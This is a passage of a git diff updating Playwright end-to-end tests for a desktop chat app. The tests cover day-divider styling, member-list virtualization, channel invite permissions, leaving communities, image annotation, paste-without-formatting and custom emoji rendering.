+  await expect(
+    page.getByTestId("message-timeline-sticky-day-divider"),
+  ).toHaveCSS("opacity", "1");
+  await expect(
+    page.getByTestId("message-timeline-day-divider").last().locator("p"),
+  ).toHaveCSS("visibility", "visible");
 
   const metrics = await timeline.evaluate((element) => {
-    const firstGroup = element.querySelector<HTMLElement>(
-      '[data-testid="message-timeline-day-group"]',
+    const pinnedDivider = element.parentElement?.querySelector<HTMLElement>(
+      '[data-testid="message-timeline-sticky-day-divider"]',
     );
-    const firstDivider = firstGroup?.querySelector<HTMLElement>(
-      '[data-testid="message-timeline-day-divider"]',
+    const pinnedPill = pinnedDivider?.querySelector<HTMLElement>(
+      '[data-testid="message-timeline-sticky-day-divider-content"] p',
     );
-    const firstDividerPill = firstDivider?.querySelector<HTMLElement>("p");
-    if (!firstGroup || !firstDivider || !firstDividerPill) {
-      throw new Error("missing day group or divider");
+    if (!pinnedDivider || !pinnedPill) {
+      throw new Error("missing sticky day divider");
     }
 
-    const groupRect = firstGroup.getBoundingClientRect();
-    const dividerRect = firstDivider.getBoundingClientRect();
-    const groupBefore = getComputedStyle(firstGroup, "::before");
-    const dividerBefore = getComputedStyle(firstDivider, "::before");
-
     return {
-      dividerBeforeContent: dividerBefore.content,
-      dividerPillBackground: getComputedStyle(firstDividerPill).backgroundColor,
-      dividerPillShadow: getComputedStyle(firstDividerPill).boxShadow,
-      dividerPosition: getComputedStyle(firstDivider).position,
-      dividerTop: dividerRect.top,
-      dividerZIndex: getComputedStyle(firstDivider).zIndex,
-      groupBeforeContent: groupBefore.content,
-      groupBeforePosition: groupBefore.position,
-      groupTop: groupRect.top,
-      ruleTop: groupRect.top + Number.parseFloat(groupBefore.top),
+      dividerPillBackground: getComputedStyle(pinnedPill).backgroundColor,
+      dividerPillShadow: getComputedStyle(pinnedPill).boxShadow,
+      dividerZIndex: getComputedStyle(pinnedDivider).zIndex,
     };
   });
 
-  expect(metrics.dividerPosition).toBe("sticky");
   expect(Number.parseInt(metrics.dividerZIndex, 10)).toBeGreaterThan(10);
+  await expect(
+    page.getByTestId("message-timeline-sticky-day-divider"),
+  ).toHaveCSS("overflow", "visible");
+
+  const dividerAlignment = await timeline.evaluate((element) => {
+    const group = [
+      ...element.querySelectorAll<HTMLElement>(
+        '[data-testid="message-timeline-day-group"]',
+      ),
+    ].find((candidate) => {
+      const pill = candidate.querySelector<HTMLElement>("p");
+      return pill && getComputedStyle(pill).visibility === "visible";
+    });
+    const pill = group?.querySelector<HTMLElement>("p");
+    if (!group || !pill) throw new Error("missing visible day divider");
+
+    const rule = getComputedStyle(group, "::before");
+    const groupBox = group.getBoundingClientRect();
+    const pillBox = pill.getBoundingClientRect();
+    return {
+      chipCenter: pillBox.top + pillBox.height / 2,
+      ruleCenter:
+        groupBox.top +
+        Number.parseFloat(rule.top) +
+        Number.parseFloat(rule.height) / 2,
+    };
+  });
+  expect(
+    Math.abs(dividerAlignment.chipCenter - dividerAlignment.ruleCenter),
+  ).toBeLessThanOrEqual(0.5);
   await expect
     .poll(async () => {
       const headerZIndex = await page
@@ -1856,11 +1993,6 @@ test("channel date divider keeps the date sticky while the separator rule scroll
   expect(metrics.dividerPillBackground).not.toBe("rgba(0, 0, 0, 0)");
   expect(metrics.dividerPillBackground).not.toBe("transparent");
   expect(metrics.dividerPillShadow).toBe("none");
-  expect(metrics.dividerBeforeContent).toBe("none");
-  expect(metrics.groupBeforePosition).toBe("absolute");
-  expect(metrics.groupBeforeContent).not.toBe("none");
-  expect(metrics.groupTop).toBeLessThan(metrics.dividerTop - 8);
-  expect(metrics.ruleTop).toBeLessThan(metrics.dividerTop - 8);
 });
 
 test("shows and clears activity indicators for active channel agents", async ({
@@ -2208,7 +2340,7 @@ test("sidebar shows unread indicator for newly active channels", async ({
 
   await expect(page.getByTestId("channel-random")).toHaveCSS(
     "font-weight",
-    "600",
+    "700",
   );
   await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
 
@@ -2241,7 +2373,7 @@ test("sidebar shows unread indicator for new forum posts", async ({ page }) => {
 
   await expect(page.getByTestId("channel-watercooler")).toHaveCSS(
     "font-weight",
-    "600",
+    "700",
   );
   await expect(page.getByTestId("channel-unread-watercooler")).toHaveCount(0);
 
@@ -3262,6 +3394,84 @@ test("home inbox manage affordance opens management without leaving home", async
   await expect(page).not.toHaveURL(/#\/channels\//);
 });
 
+test("members sidebar virtualizes large channel rosters", async ({ page }) => {
+  await page.goto("/");
+  const channelId = await page
+    .getByTestId("channel-random")
+    .getAttribute("data-channel-id");
+  if (!channelId) {
+    throw new Error("Random channel id missing.");
+  }
+
+  const pubkeys = Array.from({ length: 500 }, (_, index) =>
+    (index + 1).toString(16).padStart(64, "0"),
+  );
+  await invokeMockCommand(page, "add_channel_members", {
+    channelId,
+    pubkeys,
+    role: "member",
+  });
+
+  await openMembersSidebar(page, "random");
+  const memberList = page.getByTestId("members-sidebar-people");
+  const memberRows = memberList.locator('[data-testid^="sidebar-member-"]');
+  await expect(memberRows.first()).toBeVisible();
+  expect(await memberRows.count()).toBeLessThan(50);
+
+  const virtualizedList = memberList.locator(".overflow-y-auto");
+  await virtualizedList.evaluate((element) => {
+    element.scrollTop = element.scrollHeight;
+    element.dispatchEvent(new Event("scroll"));
+  });
+  await expect(
+    memberList.getByTestId(`sidebar-member-${pubkeys.at(-1)}`),
+  ).toBeVisible();
+});
+
+test("members sidebar can invite relay-authorized agents", async ({ page }) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: DM_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [MOCK_IDENTITY_PUBKEY],
+      },
+    ],
+  });
+  await page.goto("/");
+  await openMembersSidebar(page, "general");
+
+  await page.getByTestId("channel-management-search-users").fill("quinn");
+
+  await expect(
+    page.getByTestId(`channel-user-search-result-${DM_RELAY_AGENT_PUBKEY}`),
+  ).toBeVisible();
+});
+
+test("members sidebar hides relay agents that are not authorized", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: DM_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [TEST_IDENTITIES.outsider.pubkey],
+      },
+    ],
+  });
+  await page.goto("/");
+  await openMembersSidebar(page, "general");
+
+  await page.getByTestId("channel-management-search-users").fill("quinn");
+
+  await expect(
+    page.getByTestId(`channel-user-search-result-${DM_RELAY_AGENT_PUBKEY}`),
+  ).toHaveCount(0);
+});
+
 test("members sidebar can invite and remove managed agents", async ({
   page,
 }) => {
@@ -3618,7 +3828,7 @@ test("members sidebar collapses same-persona managed agents", async ({
   await expect(page.getByText("Pinky", { exact: true })).toHaveCount(1);
 });
 
-test("private-channel members can add people and managed agents without admin", async ({
+test("private-channel members cannot add people without owner/admin", async ({
   page,
 }) => {
   await installMockBridge(page, {
@@ -3632,14 +3842,51 @@ test("private-channel members can add people and managed agents without admin",
   });
   await page.goto("/");
   // secret-projects is a private (non-DM) channel where the current user is a
-  // plain member, not owner/admin. They should still be able to add members
-  // and bots — only granting elevated roles is reserved for owners/admins.
+  // plain member. The relay rejects their kind:9000, so the affordance is
+  // withheld and the reason shown instead of failing after the fact.
   await openMembersSidebar(page, "secret-projects");
 
-  // The invite card is shown to any member, not just owners/admins.
+  await expect(page.getByTestId("members-sidebar-add-denied")).toBeVisible();
+  // The field stays, but only as a filter over existing members.
+  await expect(
+    page.getByTestId("channel-management-search-users"),
+  ).toHaveAttribute("placeholder", "Search people and agents");
+
+  await page.getByTestId("channel-management-search-users").fill("char");
+  await expect(page.getByText("Not in this channel")).toHaveCount(0);
+  await expect(
+    page.getByTestId(
+      `channel-user-search-result-${TEST_IDENTITIES.charlie.pubkey}`,
+    ),
+  ).toHaveCount(0);
+  await expect(
+    page.getByTestId(`sidebar-member-${TEST_IDENTITIES.charlie.pubkey}`),
+  ).toHaveCount(0);
+});
+
+test("open-channel members can add people and managed agents without admin", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.charlie.pubkey,
+        name: "charlie",
+        status: "stopped",
+      },
+    ],
+  });
+  await page.goto("/");
+  // random is open and the current user is a plain member there, so the
+  // owner/admin requirement must not leak outside private channels.
+  await openMembersSidebar(page, "random");
+
+  // The invite card is shown to any member of an open channel, not just
+  // owners/admins.
   await expect(
     page.getByTestId("channel-management-search-users"),
   ).toBeVisible();
+  await expect(page.getByTestId("members-sidebar-add-denied")).toHaveCount(0);
   await page.getByTestId("channel-management-search-users").fill("char");
   await page
     .getByTestId(`channel-user-search-result-${TEST_IDENTITIES.charlie.pubkey}`)
diff --git a/desktop/tests/e2e/community-rail.spec.ts b/desktop/tests/e2e/community-rail.spec.ts
index 3b24b87f39..33f4808cd8 100644
--- a/desktop/tests/e2e/community-rail.spec.ts
+++ b/desktop/tests/e2e/community-rail.spec.ts
@@ -51,6 +51,15 @@ test.describe("community rail", () => {
 
     const rail = page.getByTestId("community-rail");
     await expect(rail).toBeVisible();
+    await expect(page.getByTestId("app-sidebar-layer")).toHaveCSS(
+      "z-index",
+      "10",
+    );
+    await expect(page.getByTestId("app-sidebar-layer")).toHaveCSS(
+      "overflow",
+      "visible",
+    );
+    await expect(rail).toHaveCSS("z-index", "0");
 
     const buttonA = page.getByTestId(`community-rail-button-${COMMUNITY_A.id}`);
     const buttonB = page.getByTestId(`community-rail-button-${COMMUNITY_B.id}`);
@@ -64,6 +73,52 @@ test.describe("community rail", () => {
       "opacity",
       "1",
     );
+    await expect(buttonB.locator(":scope > span").first()).toHaveCSS(
+      "opacity",
+      "1",
+    );
+    const [activeStyle, inactiveStyle] = await Promise.all(
+      [buttonA, buttonB].map((button) =>
+        button
+          .locator(":scope > span")
+          .first()
+          .evaluate((element) => {
+            const style = getComputedStyle(element);
+            return {
+              backgroundColor: style.backgroundColor,
+              borderRadius: style.borderRadius,
+              color: style.color,
+              outlineStyle: style.outlineStyle,
+              outlineWidth: style.outlineWidth,
+            };
+          }),
+      ),
+    );
+    expect(activeStyle.backgroundColor).toBe(inactiveStyle.backgroundColor);
+    expect(activeStyle.borderRadius).toBe(inactiveStyle.borderRadius);
+    expect(activeStyle.borderRadius).toBe("12px");
+    expect(activeStyle.color).toBe(inactiveStyle.color);
+    expect(activeStyle.outlineStyle).toBe("solid");
+    expect(activeStyle.outlineWidth).toBe("2px");
+    expect(inactiveStyle.outlineStyle).toBe("solid");
+    expect(inactiveStyle.outlineWidth).toBe("2px");
+
+    const inactiveIcon = buttonB.locator(":scope > span").first();
+    await buttonB.hover();
+    await expect(inactiveIcon).toHaveCSS("outline-width", "2px");
+    const hoverStyle = await inactiveIcon.evaluate((element) => {
+      const style = getComputedStyle(element);
+      return {
+        backgroundColor: style.backgroundColor,
+        borderRadius: style.borderRadius,
+        color: style.color,
+        outlineStyle: style.outlineStyle,
+      };
+    });
+    expect(hoverStyle.backgroundColor).toBe(inactiveStyle.backgroundColor);
+    expect(hoverStyle.borderRadius).toBe(inactiveStyle.borderRadius);
+    expect(hoverStyle.color).toBe(inactiveStyle.color);
+    expect(hoverStyle.outlineStyle).toBe("solid");
 
     // The add-community affordance lives at the bottom of the rail.
     await expect(page.getByTestId("community-rail-add")).toBeVisible();
@@ -221,6 +276,9 @@ test.describe("community rail", () => {
     await expect(
       menu.getByRole("menuitem", { name: "Community settings" }),
     ).toBeVisible();
+    await expect(
+      menu.getByRole("menuitem", { name: "Leave community" }),
+    ).toBeVisible();
     await expect(
       menu.getByRole("menuitem", { name: "Add a community" }),
     ).toBeVisible();
@@ -281,6 +339,9 @@ test.describe("community rail", () => {
     await expect(
       page.getByRole("dialog", { name: "Edit Community" }),
     ).toBeVisible();
+    await expect(
+      page.getByRole("button", { name: "Leave Community" }),
+    ).toHaveCount(0);
   });
 
   test("switches the active community on click", async ({ page }) => {
@@ -448,14 +509,7 @@ test.describe("community rail", () => {
   test("does not repair a remembered channel until live validation succeeds", async ({
     page,
   }) => {
-    await installMockBridge(
-      page,
-      {
-        channelsReadDelayMs: 300,
-        channelsReadErrors: [null, "temporary channel read failure"],
-      },
-      { skipCommunitySeed: true },
-    );
+    await installMockBridge(page, undefined, { skipCommunitySeed: true });
     await seedCommunities(page, [COMMUNITY_A, COMMUNITY_B], COMMUNITY_A.id);
     await page.addInitScript((communityId) => {
       window.localStorage.setItem(
@@ -474,6 +528,31 @@ test.describe("community rail", () => {
         ),
       )
       .not.toBeNull();
+    expect(
+      await page.evaluate(async () => {
+        const testWindow = window as Window & {
+          __BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
+          __BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
+          __BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
+          __BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
+            command: string,
+          ) => Promise<unknown>;
+        };
+        const deferNext = testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
+        const release = testWindow.__BUZZ_E2E_RELEASE_CHANNELS_READ__;
+        const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
+        if (!deferNext || !release || !invoke) {
+          throw new Error("missing channel-read latch seam");
+        }
+        deferNext();
+        const released = release();
+        await invoke("get_channels");
+        return {
+          released,
+          pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
+        };
+      }),
+    ).toEqual({ released: 0, pending: 0 });
     await page.evaluate(() => {
       const source = window.localStorage.getItem(
         "buzz-channels.v1:ws://localhost:3000",
@@ -488,9 +567,88 @@ test.describe("community rail", () => {
         JSON.stringify(snapshot),
       );
     });
-
+    await page.evaluate(() => {
+      const config = (
+        window as Window & {
+          __BUZZ_E2E__?: {
+            mock?: {
+              channelsReadError?: string;
+              channelsReadErrors?: (string | null)[];
+            };
+          };
+        }
+      ).__BUZZ_E2E__;
+      if (!config) throw new Error("missing E2E config");
+      config.mock = {
+        ...config.mock,
+        channelsReadError: "temporary channel read failure",
+        channelsReadErrors: ["temporary channel read failure"],
+      };
+    });
+    await expect
+      .poll(() =>
+        page.evaluate(
+          () => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
+        ),
+      )
+      .toBe(1);
+    await page.evaluate(() => {
+      const testWindow = window as Window & {
+        __BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
+        __BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
+      };
+      const deferNextChannelsRead =
+        testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
+      const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
+      if (!deferNextChannelsRead) {
+        throw new Error("missing channel-read defer seam");
+      }
+      if (!invalidateChannels) {
+        throw new Error("missing channel invalidation seam");
+      }
+      // Arm and trigger in one browser task so unrelated callbacks cannot
+      // claim the one-shot before the validation read starts.
+      deferNextChannelsRead();
+      void invalidateChannels();
+    });
+    await page.waitForFunction(
+      () =>
+        (
+          window as Window & {
+            __BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
+          }
+        ).__BUZZ_E2E_CHANNELS_READ_PENDING__ === 1,
+    );
+    expect(
+      await page.evaluate(async () => {
+        const invoke = (
+          window as Window & {
+            __BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
+              command: string,
+            ) => Promise<unknown>;
+          }
+        ).__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
+        if (!invoke) throw new Error("missing mock command seam");
+        try {
+          await invoke("get_channels");
+          return null;
+        } catch (error) {
+          return error instanceof Error ? error.message : String(error);
+        }
+      }),
+    ).toBe("temporary channel read failure");
+    expect(
+      await page.evaluate(
+        () =>
+          (
+            window as Window & {
+              __BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
+            }
+          ).__BUZZ_E2E_CHANNELS_READ_PENDING__,
+      ),
+    ).toBe(1);
     await page.getByTestId(`community-rail-button-${COMMUNITY_B.id}`).click();
-    await expect(page).toHaveURL(/#\/channels\/general$/);
+    await expect(page).not.toHaveURL(/#\/channels\/general$/);
     await expect
       .poll(() =>
         page.evaluate((communityId) => {
@@ -501,7 +659,46 @@ test.describe("community rail", () => {
         }, COMMUNITY_B.id),
       )
       .toEqual({ kind: "channel", channelId: "general" });
-    await page.waitForTimeout(400);
+
+    const released = await page.evaluate(
+      () =>
+        (
+          window as Window & {
+            __BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
+          }
+        ).__BUZZ_E2E_RELEASE_CHANNELS_READ__?.() ?? 0,
+    );
+    expect(released).toBe(1);
+    expect(
+      await page.evaluate(async () => {
+        const testWindow = window as Window & {
+          __BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
+            command: string,
+          ) => Promise<unknown>;
+          __BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
+        };
+        const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
+        if (!invoke) throw new Error("missing mock command seam");
+        let message: string | null = null;
+        try {
+          await invoke("get_channels");
+        } catch (error) {
+          message = error instanceof Error ? error.message : String(error);
+        }
+        return {
+          message,
+          pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
+        };
+      }),
+    ).toEqual({ message: "temporary channel read failure", pending: 0 });
+    await expect
+      .poll(() =>
+        page.evaluate(
+          () => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
+        ),
+      )
+      .toBe(0);
+
     await expect
       .poll(() =>
         page.evaluate((communityId) => {
@@ -512,8 +709,22 @@ test.describe("community rail", () => {
         }, COMMUNITY_B.id),
       )
       .toEqual({ kind: "channel", channelId: "general" });
-
-    await expect(page.getByTestId("channel-general")).toBeVisible();
+    await page.evaluate(async () => {
+      const testWindow = window as Window & {
+        __BUZZ_E2E__?: {
+          mock?: { channelsReadError?: string };
+        };
+        __BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
+      };
+      const config = testWindow.__BUZZ_E2E__;
+      const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
+      if (!config?.mock) throw new Error("missing E2E mock config");
+      if (!invalidateChannels) {
+        throw new Error("missing channel invalidation seam");
+      }
+      config.mock.channelsReadError = undefined;
+      await invalidateChannels();
+    });
     await expect
       .poll(() =>
         page.evaluate((communityId) => {
@@ -523,7 +734,7 @@ test.describe("community rail", () => {
           return raw ? JSON.parse(raw)[communityId] : null;
         }, COMMUNITY_B.id),
       )
-      .toEqual({ kind: "channel", channelId: "general" });
+      .toEqual({ kind: "home" });
   });
 
   test("does not restore a remembered destination on cold boot", async ({
@@ -558,11 +769,12 @@ test.describe("community rail", () => {
     await page.getByTestId(`community-rail-button-${COMMUNITY_A.id}`).click();
     await page.getByTestId("channel-general").click();
 
+    await page.getByTestId("sidebar-profile-avatar-button").click();
+    await page.getByTestId("community-switcher").click();
     await page
-      .getByTestId(`community-rail-button-${COMMUNITY_A.id}`)
-      .click({ button: "right" });
-    await page.getByRole("menuitem", { name: "Community settings" }).click();
-    await page.getByRole("button", { name: "Remove Community" }).click();
+      .getByRole("menu", { name: "Community actions" })
+      .getByRole("menuitem", { name: "Leave community" })
+      .click();
 
     await expect(page).toHaveURL(randomUrl);
     await expect
@@ -602,6 +814,74 @@ test.describe("community rail", () => {
     await expect(buttonB).toHaveAttribute("aria-current", "true");
   });
 
+  test("leaving the final community returns to setup without resetting identity", async ({
+    context,
+    page,
+  }) => {
+    await installMockBridge(page, undefined, {
+      autoConnectDefaultRelay: true,
+      skipCommunitySeed: true,
+    });
+    await seedCommunities(page, [COMMUNITY_A], COMMUNITY_A.id);
+    await page.goto("/");
+
+    await expect
+      .poll(() =>
+        page.evaluate(() => typeof window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__),
+      )
+      .toBe("function");
+    const identityBefore = await page.evaluate(async () =>
+      window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__("get_identity"),
+    );
+    await page.getByTestId("sidebar-profile-avatar-button").click();
+    await page.getByTestId("community-switcher").click();
+    await page
+      .getByRole("menu", { name: "Community actions" })
+      .getByRole("menuitem", { name: "Leave community" })
+      .click();
+
+    await expect(page.getByText("Join or create a community")).toBeVisible();
+    await expect(page.getByTestId("welcome-setup-back")).toHaveCount(0);
+    await expect(page.getByTestId("community-choice-join")).toBeVisible();
+    await expect
+      .poll(() =>
+        page.evaluate(() => window.localStorage.getItem("buzz-communities")),
+      )
+      .toBeNull();
+    await expect
+      .poll(() =>
+        page.evaluate(() =>
+          window.localStorage.getItem("buzz-community-discovery-after-leave"),
+        ),
+      )
+      .toBe("1");
+
+    const relaunchPage = await context.newPage();
+    await installMockBridge(relaunchPage, undefined, {
+      autoConnectDefaultRelay: true,
+      skipCommunitySeed: true,
+    });
+    await relaunchPage.goto("/");
+    await expect(
+      relaunchPage.getByText("Join or create a community"),
+    ).toBeVisible();
+    await expect(relaunchPage.getByTestId("welcome-setup-back")).toHaveCount(0);
+    await expect
+      .poll(() =>
+        relaunchPage.evaluate(() =>
+          window.localStorage.getItem("buzz-communities"),
+        ),
+      )
+      .toBeNull();
+    await expect
+      .poll(() =>
+        relaunchPage.evaluate(async () =>
+          window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__("get_identity"),
+        ),
+      )
+      .toEqual(identityBefore);
+  });
+
   test("hides the rail with a single community", async ({ page }) => {
     await installMockBridge(page, undefined, { skipCommunitySeed: true });
     await seedCommunities(page, [COMMUNITY_A], COMMUNITY_A.id);
diff --git a/desktop/tests/e2e/composer-image-draw.spec.ts b/desktop/tests/e2e/composer-image-draw.spec.ts
index ea0ce16c88..9b64deed83 100644
--- a/desktop/tests/e2e/composer-image-draw.spec.ts
+++ b/desktop/tests/e2e/composer-image-draw.spec.ts
@@ -1,11 +1,13 @@
 import { expect, type Page, test } from "@playwright/test";
 
+import { waitForAnimations } from "../helpers/animations";
 import { installMockBridge } from "../helpers/bridge";
 
 const ORIGINAL_SHA = "a".repeat(64);
 const EDITED_SHA = "b".repeat(64);
 const ORIGINAL_URL = "https://example.com/e2e/draw-original.svg";
 const EDITED_URL = "https://example.com/e2e/draw-edited.svg";
+const PR_SNAPSHOT_DIR = "test-results/video-upload-photo-scope";
 
 const ORIGINAL_DESCRIPTOR = {
   url: ORIGINAL_URL,
@@ -67,6 +69,31 @@ test.beforeEach(async ({ page }) => {
   });
 });
 
+test("image annotation overlay and editor controls", async ({ page }) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await page.getByRole("button", { name: "Attach file" }).click();
+
+  const composer = page.getByTestId("message-composer");
+  await expect(composer.getByAltText("Attachment aaaa")).toBeVisible();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await expect(page.getByTestId("composer-attachment-annotate")).toBeVisible();
+  await waitForAnimations(page);
+  await composer.screenshot({
+    path: `${PR_SNAPSHOT_DIR}/01-image-annotation-overlay.png`,
+  });
+
+  await page.getByTestId("composer-attachment-annotate").click();
+  const dialog = page.getByRole("dialog");
+  await expect(dialog).toBeVisible();
+  await expect(page.getByTestId("composer-attachment-edit")).toBeVisible();
+  await expect(page.getByTestId("composer-attachment-spoiler")).toBeVisible();
+  await waitForAnimations(page);
+  await dialog.screenshot({
+    path: `${PR_SNAPSHOT_DIR}/02-image-editor-controls.png`,
+  });
+});
+
 test("draw on an uploaded image, save replaces it, revert restores in place", async ({
   page,
 }) => {
@@ -75,12 +102,13 @@ test("draw on an uploaded image, save replaces it, revert restores in place", as
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
   // Attach the original image via the mocked paperclip flow.
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   const composer = page.getByTestId("message-composer");
   await expect(composer.getByAltText("Attachment aaaa")).toBeVisible();
 
   // Open the composer lightbox.
-  await composer.getByAltText("Attachment aaaa").click();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await page.getByTestId("composer-attachment-annotate").click();
   const dialog = page.getByRole("dialog");
   await expect(dialog).toBeVisible();
   await expect(dialog.locator(`img[src="${ORIGINAL_URL}"]`)).toBeVisible();
@@ -132,7 +160,8 @@ test("draw on an uploaded image, save replaces it, revert restores in place", as
   expect(uploadCommandCount).toBe(1);
 
   // Reopen the lightbox on the annotated attachment to revert.
-  await composer.getByAltText("Attachment bbbb").click();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await page.getByTestId("composer-attachment-annotate").click();
   await expect(dialog).toBeVisible();
   await expect(dialog.locator(`img[src="${EDITED_URL}"]`)).toBeVisible();
 
@@ -153,19 +182,21 @@ test("spoiler marking survives drawing on the attachment", async ({ page }) => {
   await page.getByTestId("channel-general").click();
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   const composer = page.getByTestId("message-composer");
   await expect(composer.getByAltText("Attachment aaaa")).toBeVisible();
 
   // Spoiler the attachment from its lightbox (media spoilers are
   // per-attachment; the text spoiler control no longer affects media),
   // then draw on it.
-  await composer.getByAltText("Attachment aaaa").click();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await page.getByTestId("composer-attachment-annotate").click();
   await page.getByTestId("composer-attachment-spoiler").click();
   await page.keyboard.press("Escape");
   await expect(composer.locator("[data-composer-media-spoiler]")).toBeVisible();
 
-  await composer.getByAltText("Attachment aaaa").click();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await page.getByTestId("composer-attachment-annotate").click();
   await page.getByTestId("composer-attachment-edit").click();
   await drawStrokeOnCanvas(page);
 
diff --git a/desktop/tests/e2e/composer-selection-formatting.spec.ts b/desktop/tests/e2e/composer-selection-formatting.spec.ts
index b8ab46503d..202ec96869 100644
--- a/desktop/tests/e2e/composer-selection-formatting.spec.ts
+++ b/desktop/tests/e2e/composer-selection-formatting.spec.ts
@@ -177,6 +177,68 @@ async function applyCaretFormat(
   await page.getByRole("button", { name: label, exact: true }).click();
 }
 
+for (const platform of [
+  { name: "macOS", navigatorPlatform: "MacIntel", shortcut: "Meta+Shift+V" },
+  {
+    name: "Windows/Linux",
+    navigatorPlatform: "Win32",
+    shortcut: "Control+Shift+V",
+  },
+]) {
+  test(`pastes rich clipboard content without formatting on ${platform.name}`, async ({
+    page,
+  }) => {
+    await page.addInitScript((navigatorPlatform) => {
+      Object.defineProperty(navigator, "platform", {
+        configurable: true,
+        value: navigatorPlatform,
+      });
+    }, platform.navigatorPlatform);
+    await page
+      .context()
+      .grantPermissions(["clipboard-read", "clipboard-write"], {
+        origin: "http://127.0.0.1:4173",
+      });
+    await openGeneral(page);
+
+    await page.evaluate(async () => {
+      await navigator.clipboard.write([
+        new ClipboardItem({
+          "text/html": new Blob(
+            [
+              '<p><strong>Bold</strong> and <a href="https://example.com">linked</a></p><ul><li>list item</li></ul>',
+            ],
+            { type: "text/html" },
+          ),
+          "text/plain": new Blob(["Bold and linked\nlist item"], {
+            type: "text/plain",
+          }),
+        }),
+      ]);
+    });
+
+    const input = page.getByTestId("message-input");
+    await input.click();
+    await page.keyboard.press(platform.shortcut);
+
+    await expect
+      .poll(() =>
+        page.evaluate(
+          () =>
+            (window as Window & { __BUZZ_E2E_COMMANDS__?: string[] })
+              .__BUZZ_E2E_COMMANDS__ ?? [],
+        ),
+      )
+      .toContain("read_clipboard_text");
+    await expect(input).toHaveText("Bold and linkedlist item");
+    await expect(input.locator("strong, a, ul, li")).toHaveCount(0);
+    await expect(input.locator(":scope > p")).toHaveText([
+      "Bold and linked",
+      "list item",
+    ]);
+  });
+}
+
 for (const format of [
   { label: "Code block", selector: "pre" },
   { label: "Bullet list", selector: "ul" },
diff --git a/desktop/tests/e2e/custom-emoji.spec.ts b/desktop/tests/e2e/custom-emoji.spec.ts
index ae20aaef25..a48799bcb2 100644
--- a/desktop/tests/e2e/custom-emoji.spec.ts
+++ b/desktop/tests/e2e/custom-emoji.spec.ts
@@ -19,6 +19,7 @@ import { waitForAnimations } from "../helpers/animations";
 // live even in mock-bridge mode (the mock only intercepts Tauri commands), so
 // this spec uses the simpler mock-bridge setup like messaging.spec.ts.
 const SHORTCODE = "buzz";
+const MOCK_MEDIA_PROXY_PORT = 54321;
 
 async function waitForMockLiveSubscription(
   page: import("@playwright/test").Page,
@@ -60,6 +61,16 @@ test.beforeEach(async ({ page }) => {
       body: '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32"><rect width="32" height="32" fill="#22c55e"/></svg>',
     }),
   );
+  // Keep the reaction fixture deliberately non-square so the real renderer can
+  // prove object-contain letterboxes it inside the fixed square glyph box.
+  await page.route(
+    `http://127.0.0.1:${MOCK_MEDIA_PROXY_PORT}/media/**`,
+    (route) =>
+      route.fulfill({
+        contentType: "image/svg+xml",
+        body: '<svg xmlns="http://www.w3.org/2000/svg" width="40" height="20"><rect width="40" height="20" fill="#22c55e"/></svg>',
+      }),
+  );
 });
 
 test("typing a known :shortcode: renders an inline emoji node in the composer", async ({
@@ -236,7 +247,6 @@ test("native emoji-only messages leave space below the author metadata", async (
 // real 127.0.0.1 URL rather than the buzz-media:// fallback.
 
 const REACTION_SHORTCODE = "react";
-const MOCK_MEDIA_PROXY_PORT = 54321;
 const SELECTED_ACTION_CLASS = /(^|\s)bg-secondary(\s|$)/;
 // A seeded message in `general` with a real 64-hex id — the only reactable
 // target in mock mode (getReactionTargetId() requires a 64-hex `e` tag, which
@@ -336,6 +346,25 @@ test("reacting with a custom emoji renders via the loopback media proxy", async
       `^http://127\\.0\\.0\\.1:${MOCK_MEDIA_PROXY_PORT}/media/[\\da-f]{64}\\.png$`,
     ),
   );
+  await expect(reactionPill).toHaveCSS("height", "28px");
+  await expect(reactionImg).toHaveCSS("height", "14px");
